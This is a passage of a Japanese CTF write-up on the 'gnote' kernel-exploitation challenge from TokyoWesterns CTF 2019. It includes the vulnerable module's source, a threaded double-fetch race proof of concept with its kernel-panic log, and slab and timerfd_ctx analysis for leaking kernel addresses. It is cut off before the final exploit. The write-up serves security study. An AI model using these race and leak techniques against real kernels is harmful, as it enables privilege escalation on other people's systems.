【pwn 10.0】 gnote (kernel exploitation) - TokyoWesternsCTF2019
- 1: イントロ
- 2: 解き始めるまで
- 3: モジュールの挙動について
- 4: jmptableの脆弱性について
- 5:kmalloc()とスラブアロケータについて
- 6: timerfd_ctxを利用したkernel symbol の leak
- 7: RIPを取る
- 8: privilege acceleration
- 9: KPTIに関してとsysretq周りのごたごたについて
- 10: exploitの手順まとめ
- 11: exploit
- 12: 結果
- 13: アウトロ
- 14: Thanks
- 0: 参考
- -1: Appendix
1: イントロ
今年の夏に行われたTokyoWesternsCTF2019の
pwn問題 "gnote" を解いていく
kernel exploit問題は初めてということもありかなり手こずった
今回はkernel問題を解ける環境を用意することと
脆弱性の存在する該当箇所及びカーネルの関連箇所・関連事項を自分で読んでデバッグして調べることに重きを置いているため
pwn問題を解くことが主な目的ではない
基本的には0.参考の【1】つめのサイトをほぼ全面的に参考にし
その中で指摘されている箇所を自分で調べて解釈した結果を覚書として残しておく
なお、今回の参考は多くあるため本記事の最後に載せてある
2: 解き始めるまで
問題について
与えられるファイルは
rootfs.cpio: ファイルシステム。flagがあるがroot権限じゃないと見られない
bzImage: カーネルイメージ
gnote.c: カーネルモジュールのソースコード。ビルドされたモジュールはファイルシステムの / に存在し、ファイルシステムのロード時にinitファイルに従ってインストールされる
配布OSの情報は以下の通り
/ # uname -a Linux (none) 4.19.65 #1 SMP Tue Aug 6 18:56:10 UTC 2019 x86_64 GNU/Linux
初期のファイルシステムとしてrootfs.cpioがメモリ上にロードされる
(但し今回はそのファイルシステムがずっと使われる)
ファイルシステムとカーネル本体のロード後はinitファイルの内容が実行される
initファイルの内容は以下の通り
#!/bin/sh /bin/mount -t devtmpfs devtmpfs /dev chown root:tty /dev/console chown root:tty /dev/ptmx chown root:tty /dev/tty mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts mount -t proc proc /proc mount -t sysfs sysfs /sys echo 2 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict #echo 0 > /proc/sys/kernel/kptr_restrict #echo 0 > /proc/sys/kernel/dmesg_restrict ifup eth0 > /dev/null 2>/dev/null insmod gnote.ko echo " ________ ________ ________ _________ _______ |\ ____\|\ ___ \|\ __ \|\___ ___\\ ___ \ \ \ \___|\ \ \\ \ \ \ \|\ \|___ \ \_\ \ __/| \ \ \ __\ \ \\ \ \ \ \\\ \ \ \ \ \ \ \_|/__ \ \ \|\ \ \ \\ \ \ \ \\\ \ \ \ \ \ \ \_|\ \ \ \_______\ \__\\ \__\ \_______\ \ \__\ \ \_______\ \|_______|\|__| \|__|\|_______| \|__| \|_______| " #sh setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 1 -n -f
諸々のファイルシステムをマウントした後
dmesgを制限している
お誂え向きにデバッグ用のコンフィグまで下にコメントアウトして書いてある
(最初はこのファイルの存在に気づかず、dmesgを見ようとして試行錯誤しかなり時間を費やした)
それからuid1000でログインするようになっている
デバッグ環境について
権限が低い環境でデバッグをするのはしんどいため
まずinitファイル中でdmesgのstrictを外し、uid 0(root)でログインするようにinitを変更した
それと同時に一度cpioファイルを以下のコマンドで解凍し
cpio -idv < archive.cpio
ファイルシステム上に/dbgディレクトリを用意してその中でテスト用プログラムなどを置いておけるようにした
(なおコンパイル時は-staticオプションが必須である)
それから展開していじったファイルシステムをqemuの起動時に再びcpio形式で圧縮してくれるようにrun.shを書き換えた
さらに、qemuの実行時にgdbからの接続を待つように-Sオプションを付与したり
デバッグ時にシンボルを参照できるようにKASLRを無効にしたりした
デバッグ中に使用したrun.shは以下の通り
#run.sh #!/bin/sh cd ./rootfs_filesystem #ファイルシステム中に入る find ./ -print0 | cpio --null -o --format=newc > ./dbgrootfs.cpio #ファイルシステムをcpio形式で圧縮 mv ./dbgrootfs.cpio ../ #正しいディレクトリへ cd ../ qemu-system-x86_64 -S -kernel ~/linux-stable/arch/x86/boot/bzImage -append "loglevel=3 console=ttyS0 oops=panic panic=1 nokaslr" -initrd dbgrootfs.cpio -m 64M -smp cores=2 -gdb tcp::12350 -nographic -monitor /dev/null -cpu kvm64,+smep #-enable-kvm
なお、自前OSの環境整備にかなり時間を費やしてしまったが非本質的なのでこれはAppendixとして本記事の最後に載せてある
3: モジュールの挙動について
モジュール自体は非常に簡素であり
/proc/gnoteエントリを作成し
そのwrite/readにハンドラが紐付けられている
//gnote.cより一部抜粋 struct note { unsigned long size; char *contents; }; struct note notes[MAX_NOTE]; ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { unsigned int index; mutex_lock(&lock); /* * 1. add note * 2. edit note * 3. delete note * 4. copy note * 5. select note * No implementation :( */ switch(*(unsigned int *)buf){ case 1: if(cnt >= MAX_NOTE){ break; } notes[cnt].size = *((unsigned int *)buf+1); if(notes[cnt].size > 0x10000){ break; } notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL); cnt++; break; case 2: printk("Edit Not implemented\n"); break; case 3: printk("Delete Not implemented\n"); break; case 4: printk("Copy Not implemented\n"); break; case 5: index = *((unsigned int *)buf+1); if(cnt > index){ selected = index; } break; } mutex_unlock(&lock); return count; } ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { mutex_lock(&lock); if(selected == -1){ mutex_unlock(&lock); return 0; } if(count > notes[selected].size){ count = notes[selected].size; } copy_to_user(buf, notes[selected].contents, count); selected = -1; mutex_unlock(&lock); return count; }
試しにecho "\x03\x00\x00\x00" > /proc/gnote とやると反応がなかったが
Cプログラムの中でopenして書き込んでやるとしっかりとdmesgで反応を見ることができた
/dbg # dmesg | tail IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 random: mktemp: uninitialized urandom read (6 bytes read) random: mktemp: uninitialized urandom read (6 bytes read) gnote: loading out-of-tree module taints kernel. gnote: module license 'unspecified' taints kernel. Disabling lock debugging due to kernel taint /proc/gnote created random: fast init done Delete Not implemented <-- しっかりwriteハンドラが応答していることがわかる
writeモジュールは1: add noteと5: select noteしか実装されていない
・add noteは最初の4byteで0x1を指定し、次の4byteでkmallocするサイズを指定する
その後確保した領域への書き込み等は実装されていない
・select noteは最初の4byteで0x5を指定し、次の4byteで選択するノートのインデックスを指定する
・readモジュールはユーザバッファに、選択されているノートを返す
この時点で書き込みをされていない領域をreadモジュールで返していることに明らかな違和感を覚える
加えて、本来 copy_from_user() で読まなければならないユーザ空間のバッファをそのまま参照しているのも明らかに怪しい
(なお今回SMEP有効/SMAP無効よりvalidな処理ではある)
実際、適当なサイズでノートを割り当てて直後にreadを行うと以下のようなバッファが得られる
/ # ./dbg/test2 read bytes: 100 str: ����� hex: *0x80*0x4*0x19*0x3*0x80*0x88*0xff*0xff*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x2*0x0*0x3e*0x0*0x1*0x0*0x0*0x0*0x30*0xa*0x40*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x78*0xdc*0xc*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x38*0x0*0x6*0x0*0x40*0x0*0x21*0x0*0x20*0x0*0x7f*0x45*0x4c*0x46*0x2*0x1*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x3*0x0*0x3e*0x0*0x1*0x0*0x0*0x0*0x74*0x20*0x0*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x7c*0xdc*0xf5*0x43*0x13*0xab*0xd3*0x0*0x1a*0x40*0x0*0x0*0x0*0x0*0x0*0xa9*0x12*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0xc8*0xfd*0xa1*0x92*0xff*0x7f*0x0*0x0*0x4d*0xb*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xf*0x0*0x0*0x0*0x6*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x4*0x40*0x0*0x0*0x0*0x0*0x0*0x6d*0x41*0x5*0xd8*0xf*0xb0*0x43*0x6e*0xa0*0x1a*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x18*0x90*0x6b*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x6d*0x41*0x65*0x15*0xcc*0x95*0xbc*0x91*0x6d*0x41*0xb1*0xc8*0xf*0xb0*0x43*0x6e*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x5a*0xa*0x40*0x0*0x0*0x0*0x0*0x0*0xb8*0xfd*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xc0*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xcc*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xd4*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xdb*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xe6*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x21*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x90*0xb1*0x92*0xff*0x7f*0x0*0x0*0x10*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xfd*0xfb*0x8b*0x17*0x0*0x0*0x0*0x0*0x6*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x10*0x0*0x0*0x0*0x0*0x0*0x0*0x11*0x0*0x0*0x0*0x0*0x0*0x0*0x0
kmalloc()で確保された初期化されていないバッファを読み込めていることがわかる
4: jmptableの脆弱性について
これから先はほぼ完全に参考【1】に則っている
その中で無知な点をdocumentやkernelを呼んでできる限り詳らかにしていく
switch分岐のアセンブラ
gnote_write()におけるswitch分岐のコンパイルコードは以下のようになっている
00100049 83 3b 05 CMP dword ptr [RBX],0x5 0010004c 77 50 JA LAB_0010009e 0010004e 8b 03 MOV EAX,dword ptr [RBX] 00100050 48 8b 04 c5 MOV RAX,qword ptr [PTR_LAB_00100250 + RAX*0x8] 00100058 e9 ab 0f 00 JMP __x86_indirect_thunk_rax -- Flow Override: CALL_RETURN (CALL_TERMINATOR)
ここでRBXはユーザバッファから渡された最初の4byte、すなわち選択メニューの番号が入ったバッファのアドレスを指している
最初にこれが5以下かをCMPし
次にその値をもとにPTR_LAB_00100250に存在するjmptableのエントリの示す先にJMPしている
(unsignedとして比較しているため0以下でも問題ない)
ここでRBXは2回参照外しされていることに注目する
間には1命令しかないがもしこの間にRBXの値が変更されてしまえば
CMPチェックをすり抜けて異様なアドレスをjmptableと認識しながらJMPしてしまうことになる
かなりタイトな制約ではあるが、別スレッドで無限回この操作を繰り返せばいつかはこの制約を突破できると予測できる
(タイミングが合わずCMPの前に[RBX]を書き換えてしまったとしても、switchのdefaultケースに飛ぶだけで何も問題はない)
以下のサンプルコードで実験してみる
//https://rpis.ec/blog/tokyowesterns-2019-gnote/ #include<unistd.h> #include<fcntl.h> #include<pthread.h> #include<stdio.h> #define FAKE "0x55555555" void* thread_func(void* arg) { //just repeat xchg $rbx $rax(==0x55555555) printf("...repeating xchg $rbx $0x55555555\n"); asm volatile("mov $" FAKE ", %%eax\n" "mov %0, %%rbx\n" "lbl:\n" "xchg (%%rbx), %%eax\n" "jmp lbl\n" : : "r" (arg) : "rax", "rbx" ); return 0; } int main(void) { int fd = open("/proc/gnote", O_RDWR); if(fd<=0){ printf("open error\n"); return 1; } unsigned int buf[2] = {0, 0x10001}; pthread_t thr; pthread_create(&thr, 0, thread_func, &buf[0]); for(int ix=0;ix!=100000;++ix){ printf("try :%d\n",ix); write(fd, buf, sizeof(buf)); } return 0; }
これは一方でgnote_write()を呼び出し続け
もう一方のスレッドでRBXの値を0x55555555に変更し続ける
もし2者のタイミングが一致すれば
CMP前までは0が渡されてjmptableのエントリ選択まで進み
その後値が0x55555555に変えられて
jmptable + 0x55555555 * 0x8にJMPすることになるはずである
実際にテストしてみると下のように7600回目程のswitchでパニックが発生している
(..snipped..) try :7609 try :7610 try :7611 BUG: unable to handle kernel paging request at 000000026aaabb40 PGD 8000000002427067 P4D 8000000002427067 PUD 0 Oops: 0000 [#1] SMP PTI CPU: 3 PID: 93 Comm: test1 Tainted: P O 4.19.65 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 RIP: 0010:gnote_write+0x20/0xd0 [gnote] Code: Bad RIP value. RSP: 0018:ffffc9000026bda0 EFLAGS: 00000293 RAX: 0000000055555555 RBX: 00007ffe999129d0 RCX: ffffc9000026bea0 RDX: ffff888003105c40 RSI: 00007ffe999129d0 RDI: ffffffffc0002100 RBP: ffffc9000026bdb0 R08: 0000000000000001 R09: 0000000000000008 R10: ffff8880031c0e38 R11: 0000000000000000 R12: 0000000000000008 R13: ffffc9000026bea0 R14: 00007ffe999129d0 R15: 0000000000000000 FS: 00000000006df880(0000) GS:ffff888003580000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffffffbffffff6 CR3: 0000000002434000 CR4: 00000000001006e0 Call Trace: proc_reg_write+0x39/0x60 __vfs_write+0x26/0x150 vfs_write+0xad/0x180 ksys_write+0x48/0xc0 __x64_sys_write+0x15/0x20 do_syscall_64+0x57/0x270 ? schedule+0x27/0x80 ? exit_to_usermode_loop+0x79/0xa0 entry_SYSCALL_64_after_hwframe+0x44/0xa9 RIP: 0033:0x405187 Code: 44 00 00 41 54 55 49 89 d4 53 48 89 f5 89 fb 48 83 ec 10 e8 8b fd ff ff 4c 89 e2 41 89 c0 48 89 ee 89 df b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 35 44 89 c7 48 89 44 24 08 e8 c4 fd ff ff 48 RSP: 002b:00007ffe99912990 EFLAGS: 00000293 ORIG_RAX: 0000000000000001 RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 0000000000405187 RDX: 0000000000000008 RSI: 00007ffe999129d0 RDI: 0000000000000003 RBP: 00007ffe999129d0 R08: 0000000000000000 R09: 000000000000000a R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000000008 R13: 0000000000000000 R14: 00000000006d6018 R15: 0000000000000000 Modules linked in: gnote(PO) CR2: 000000026aaabb40 ---[ end trace c756a9fd80773a41 ]--- RIP: 0010:gnote_write+0x20/0xd0 [gnote] Code: Bad RIP value. RSP: 0018:ffffc9000026bda0 EFLAGS: 00000293 RAX: 0000000055555555 RBX: 00007ffe999129d0 RCX: ffffc9000026bea0 RDX: ffff888003105c40 RSI: 00007ffe999129d0 RDI: ffffffffc0002100 RBP: ffffc9000026bdb0 R08: 0000000000000001 R09: 0000000000000008 R10: ffff8880031c0e38 R11: 0000000000000000 R12: 0000000000000008 R13: ffffc9000026bea0 R14: 00007ffe999129d0 R15: 0000000000000000 FS: 00000000006df880(0000) GS:ffff888003580000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffffffbffffff6 CR3: 0000000002434000 CR4: 00000000001006e0 Kernel panic - not syncing: Fatal exception Kernel Offset: disabled Rebooting in 1 seconds..
おおよその展望
jmptableの脆弱性によりほぼ任意の場所にJMPできるようになると考えられる
それから初期化されていないメモリ上に仮にkernelのとあるアドレスを指し示すポインタが入っていた場合、その値を読むことでkernel addressをリークすることができる
もしこの両者が可能ならば、kernel内の任意の(特定の、指定した)アドレスにJMPできるようになる
そのためにはまずkernelのメモリ割り当てについて理解する必要がある
ということで以下ではkmalloc()とslub allocatorについて解釈していく
5:kmalloc()とスラブアロケータについて
スラブアロケータ概略
Linuxではメモリ割り当ての際にバディシステムを採用している
これはメモリをページ単位で割当てるというものであるが
これでは少量のメモリ要求に対してかなりのオーバーヘッドが発生してしまい非常にメモリ効率が悪くなってしまう
そこで採用されているのがスラブアロケータである
これにはSLAB/SLUB/SLOBという系統があるが
SLAB: SunOSで実装された初期のアロケータ
SLUB: 現在主に使用されているアロケータ
SLOB: 組み込み向け等で使用されているアロケータ
といった用途になっている
以下では専らSLUBについて扱うことにする
SLUBは同じサイズのオブジェクトはある決まった領域に置く、究極のbestfit方式である(といった認識である)
kernelレベルでは同じ構造体を多数回割当しては解放するためこの手法だとフラグメンテーションが起こりにくいうメリットがある
詳しいことは参考の【3】に書いてある
スラブで主に登場する構造体はkmem_cache_cpu/kmem_cache_node/kmem_cacheであり、それぞれ省略してc/n/sと呼ぶ
大雑把にはsがc/nのポインタをメンバとして保持し、c/sはそれぞれスラブのリストを保持している
cは現在のCPUに紐付けられた空き領域のあるスラブを保持し、sは他のNUMAノードのメモリに保持されたスラブを保持している
以下で実際にコードを眺めてみよう
kmalloc()
// /include/linux/slab.h static __always_inline void *kmalloc(size_t size, gfp_t flags) { if (__builtin_constant_p(size)) { #ifndef CONFIG_SLOB unsigned int index; #endif if (size > KMALLOC_MAX_CACHE_SIZE) return kmalloc_large(size, flags); #ifndef CONFIG_SLOB index = kmalloc_index(size); if (!index) return ZERO_SIZE_PTR; return kmem_cache_alloc_trace( kmalloc_caches[kmalloc_type(flags)][index], flags, size); #endif } return __kmalloc(size, flags); }
今回はSLUBではないためサイズがKMALLOC_MAX_CACHE_SIZE未満であればkmem_cache_alloc_trace()を呼んで返る
その際に引数として渡されるkmalloc_cachesはkmem_cache*型の二重配列で、フラグごとサイズごとのスラブキャッシュを示している
今はkmalloc_index(size)によって得たインデックスによって使用するキャッシュを指定している
kmem_cache_alloc_trace()
// /mm/slub.c void *kmem_cache_alloc_trace(struct kmem_cache *s, gfp_t gfpflags, size_t size) { void *ret = slab_alloc(s, gfpflags, _RET_IP_); trace_kmalloc(_RET_IP_, ret, size, s->size, gfpflags); ret = kasan_kmalloc(s, ret, size, gfpflags); return ret; }
内部では上の3つの関数が呼ばれている
以下その3つを順に見ていく
slab_alloc()/ slab_alloc_node()
内部で第3引数にNUMA_NO_NODEを指定してそのままslab_alloc_node()を呼ぶ
// /mm/slub.c excerpt static __always_inline void *slab_alloc_node(struct kmem_cache *s, gfp_t gfpflags, int node, unsigned long addr) { void *object; struct kmem_cache_cpu *c; struct page *page; unsigned long tid; s = slab_pre_alloc_hook(s, gfpflags); if (!s) return NULL; redo: // cmpxchgが同一のCPUで行われることの確認 do { tid = this_cpu_read(s->cpu_slab->tid); c = raw_cpu_ptr(s->cpu_slab); } while (IS_ENABLED(CONFIG_PREEMPT) && unlikely(tid != READ_ONCE(c->tid))); barrier(); /* * The transaction ids are globally unique per cpu and per operation on * a per cpu queue. Thus they can be guarantee that the cmpxchg_double * occurs on the right processor and that there was no operation on the * linked list in between. */ object = c->freelist; page = c->page; if (unlikely(!object || !node_match(page, node))) { //スラブが空である object = __slab_alloc(s, gfpflags, node, addr, c); stat(s, ALLOC_SLOWPATH); } else { //スラブからスラブオブジェクトを取ってこれる void *next_object = get_freepointer_safe(s, object); /* * The cmpxchg will only match if there was no additional * operation and if we are on the right processor. * * The cmpxchg does the following atomically (without lock * semantics!) * 1. Relocate first pointer to the current per cpu area. * 2. Verify that tid and freelist have not been changed * 3. If they were not changed replace tid and freelist * * Since this is without lock semantics the protection is only * against code executing on this cpu *not* from access by * other cpus. */ if (unlikely(!this_cpu_cmpxchg_double( s->cpu_slab->freelist, s->cpu_slab->tid, object, tid, next_object, next_tid(tid)))) { note_cmpxchg_failure("slab_alloc", s, tid); goto redo; } prefetch_freepointer(s, next_object); stat(s, ALLOC_FASTPATH); } /* * If the object has been wiped upon free, make sure it's fully * initialized by zeroing out freelist pointer. */ if (unlikely(slab_want_init_on_free(s)) && object) memset(object + s->offset, 0, sizeof(void *)); if (unlikely(slab_want_init_on_alloc(gfpflags, s)) && object) memset(object, 0, s->object_size); slab_post_alloc_hook(s, gfpflags, 1, &object); return object; }
freelistに有効な空き領域が繋がっている場合にはthis_cpu_cmpxchg_doubleマクロを使っている
this_cpu_cmpxchg_doubleは__pcpu_double_call_return_bool macroとdefineされている
これによってfreelistとtidを新しいものにつなぎ替える
(この辺マクロが複雑でよくわからなかった)
次のprefetch_freepointer()では予め次のfreelistに繋がれるスラブオブジェクトの更に次のオブジェクトを名前の通りprefetchしている
最後にslab_post_alloc_hook()が呼ばれているがこれは以下のようになっている
static inline void slab_post_alloc_hook(struct kmem_cache *s, gfp_t flags, size_t size, void **p) { size_t i; flags &= gfp_allowed_mask; for (i = 0; i < size; i++) { void *object = p[i]; kmemleak_alloc_recursive(object, s->object_size, 1, s->flags, flags); kasan_slab_alloc(s, object, flags); } if (memcg_kmem_enabled()) memcg_kmem_put_cache(s); }
つまりは
まぁ今のところは特定のスラブが用意されているものはそこにオブジェクトが確保され
そうでないものは汎用スラブにオブジェクトが確保されると認識しておけば良い
以下ではこれらのメモリ確保のざっくりした前提を踏まえて、実際に初期化されていないメモリからのleakを目指す
6: timerfd_ctxを利用したkernel symbol の leak
前述したように初期化されていないメモリに対してgnote_read()を呼ぶことそこに入っていた値をleakすることができる
前もって入れておくデータとしてはカーネルが使用する何らかの構造体を入れる
では対象としてどの構造体をターゲットにするかだが、"任意のタイミングで生成・解放すること"ができ、且つ"kernel内のシンボルのアドレスを含む"ような構造体であれば何でも良い
【1】ではこれらを満たす構造体としてtimerfd_ctx構造体を利用している
よって以下ではtimerfd_ctx構造体についてカーネルを読んでいく
__x64_sys_timerfd_createシステムコール
timerfd_ctxは以下の__x64_sys_timerfd_createシステムコール内で割り当てられる
SYSCALL_DEFINE2(timerfd_create, int, clockid, int, flags) { int ufd; struct timerfd_ctx *ctx; ctx = kzalloc(sizeof(*ctx), GFP_KERNEL); if (!ctx) return -ENOMEM; init_waitqueue_head(&ctx->wqh); spin_lock_init(&ctx->cancel_lock); ctx->clockid = clockid; if (isalarm(ctx)) alarm_init(&ctx->t.alarm, ctx->clockid == CLOCK_REALTIME_ALARM ? ALARM_REALTIME : ALARM_BOOTTIME, timerfd_alarmproc); else hrtimer_init(&ctx->t.tmr, clockid, HRTIMER_MODE_ABS); ctx->moffs = ktime_mono_to_real(0); ufd = anon_inode_getfd("[timerfd]", &timerfd_fops, ctx, O_RDWR | (flags & TFD_SHARED_FCNTL_FLAGS)); if (ufd < 0) kfree(ctx); return ufd; }
(但しエラーチェック等は省略してある)
この中でtimerfd_ctxは以下のように定義される構造体であり、タイマの残り時間やIDやexpire時のハンドラ等を保持する
struct timerfd_ctx { union { struct hrtimer tmr; struct alarm alarm; } t; ktime_t tintv; ktime_t moffs; wait_queue_head_t wqh; u64 ticks; int clockid; short unsigned expired; short unsigned settime_flags; /* to show in fdinfo */ struct rcu_head rcu; struct list_head clist; spinlock_t cancel_lock; bool might_cancel; };
ソースコード中では6行目でkzalloc()によってこの構造体が確保されている
(kzalloc()は領域を0クリアするフラグをつけてkmalloc()を呼ぶラッパ)
しかし実際にカーネルデバッグしてみると以下のようになっている
=> 0xffffffff81101dcd <__x64_sys_timerfd_create+93>: call 0xffffffff810d0e60 <kmem_cache_alloc> Guessed arguments: arg[0]: 0xffff888000090700 --> 0x1eac0 <-- この引数の意味は以下参照 arg[1]: 0x6080c0 => 0xffffffff81101dc1 <__x64_sys_timerfd_create+81>: mov rdi,QWORD PTR [rip+0x542b58] # 0xffffffff81644920 <kmalloc_caches+64>
kernelのビルド時に最適化でkmem_cache_alloc()を直接呼び出すように変更されている
速度的にはそっちのほうがいいんだろうが、デバッグする側としてはマクロと最適化でインラインが多発しているのはかなりめんどくさい
さて、上に現れていたkmem_cache_alloc()は2つの引数をとっていた
引数がどんな意味を持つかを以下のコードと照らし合わせる
//mm/slub.h void *kmem_cache_alloc(struct kmem_cache *s, gfp_t gfpflags) { void *ret = slab_alloc(s, gfpflags, _RET_IP_); trace_kmem_cache_alloc(_RET_IP_, ret, s->object_size, s->size, gfpflags); return ret; }
つまり、cachep==0xffff888000090700, flags==0x6080c0として呼ばれていることがわかる
(cachepのアドレスはすぐあとで使う)
backtrace情報を頼りにしながら読み進めていくと、以下のように部分に遭遇する
今kmem_cache_alloc+186と表示されているが、これは最適化されていて実際にはslab_alloc_node()を実行しているものと思われる
0xffffffff810d0f18 <kmem_cache_alloc+184>: xor esi,esi => 0xffffffff810d0f1a <kmem_cache_alloc+186>: call 0xffffffff8119c6c0 <memset> 0xffffffff810d0f1f <kmem_cache_alloc+191>: mov r8,rax 0xffffffff810d0f22 <kmem_cache_alloc+194>: jmp 0xffffffff810d0ed2 <kmem_cache_alloc+114> 0xffffffff810d0f24: xchg ax,ax 0xffffffff810d0f26: nop WORD PTR cs:[rax+rax*1+0x0] Guessed arguments: arg[0]: 0xffff888000151300 --> 0xffff888000151400 --> 0xffff888000151500 --> 0xffff888000151600 --> 0xffff888000151700 --> 0xffff888000151800 (--> ...) arg[1]: 0x0 arg[2]: 0x100 <-- memsetの引数
//mm/slub.c slab_alloc_node() if (unlikely(gfpflags & __GFP_ZERO) && object) memset(object, 0, s->object_size); slab_post_alloc_hook(s, gfpflags, 1, &object); return object;
slab_alloc_node()では最後に割り当てたスラブオブジェクトを0クリアするのだが
その際のmemset()の引数のs->object_sizeを読めばオブジェクトのサイズを読むことができる
今回はデバッグ結果からスラブオブジェクトのサイズは0x100であることがわかる
また、kmem_cache structureにはchar *nameメンバがあり
これを参照することでスラブの名前を見ることができる
今回kmem_cache_alloc()に渡されていた第一引数は0xffff888000090700(先程見たcachepの値)であり、調べてみると以下のようになる
gdb-peda$ x/20gx 0xffff888000090700 0xffff888000090700: 0x000000000001eac0 0x0000000040000000 0xffff888000090710: 0x0000000000000005 0x0000010000000100 0xffff888000090720: 0x0000000d00000000 0x0000001000000010 0xffff888000090730: 0x0000000000000010 0x0000000000000001 0xffff888000090740: 0x0000000000000000 0x0000000800000100 0xffff888000090750: 0x0000000000000000 0xffffffff81637d6d 0xffff888000090760: 0xffff888000090860 0xffff888000090660 0xffff888000090770: 0xffffffff81637d6d 0xffff888000090878 0xffff888000090780: 0xffff888000090678 0xffff8880001592b8 0xffff888000090790: 0xffff8880001592a0 0xffffffff81825cc0 gdb-peda$ x/s 0xffffffff81637d6d 0xffffffff81637d6d: "kmalloc-256"
使われるスラブは汎用スラブ"kmalloc-256"であることがわかった(これはサイズが0x100であったことと一致する)
つまり、writeハンドラに於いて0x100のサイズのノートを確保すればこの構造体と同じスラブからオブジェクトを確保することができることになる
割当処理は以上である
timerfd_release()とRCU
設置したタイマの解放はtimerfd_release()で行われる
static int timerfd_release(struct inode *inode, struct file *file) { struct timerfd_ctx *ctx = file->private_data; timerfd_remove_cancel(ctx); if (isalarm(ctx)) alarm_cancel(&ctx->t.alarm); else hrtimer_cancel(&ctx->t.tmr); kfree_rcu(ctx, rcu); return 0; }
実際にはkfree_rcu()で解放される
kfree_rcu()は実際にはkfree_call_rcu()が直接呼ばれ、すぐに__call_rcu()が呼ばれる
RCUとは参考【9】に依ると
RCU ensures that reads are coherent by maintaining multiple versions of objects and ensuring that they are not freed up until all pre-existing read-side critical sections complete.
ということである
実際のLinuxではそれなりに複雑な処理をしているが、概念的・原理的に概略すると
